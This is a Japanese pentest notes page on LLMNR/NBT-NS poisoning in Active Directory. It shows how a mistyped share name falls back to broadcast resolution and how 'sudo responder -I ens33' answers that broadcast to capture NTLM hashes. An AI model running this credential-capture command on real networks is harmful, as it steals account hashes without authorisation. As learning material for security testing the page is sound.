> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# LLMNR / NBT-NSポイズニング

LLMNR / NBT-NSポイズニングのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。

有効な名前でアクセスする場合、解決はまずドメインコントローラーのDNSを経由します。

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

名前が存在しない場合、Windows は次に～を介して解決を試みます `LLMNR` または `NBT-NS` ブロードキャストで。

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b16a473d284d3a856bdb0b93e6ae8ff7a805637%2Fimage%20(3326).png?alt=media" alt=""><figcaption></figcaption></figure>

Linux からこれらの要求を監視し、～で応答できます `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54191cff03c1742aa52d17b646cac5891e101082%2Fimage%20(3327).png?alt=media" alt=""><figcaption></figcaption></figure>

被害者が間違った共有名を入力すると、そのクエリは私たちのマシンに届きます。

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

その後、接続を試みたアカウントの NTLM ハッシュを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f583775a8076a1ee87aa4400fee0b32587b1c78%2Fimage%20(3328).png?alt=media" alt=""><figcaption></figcaption></figure>


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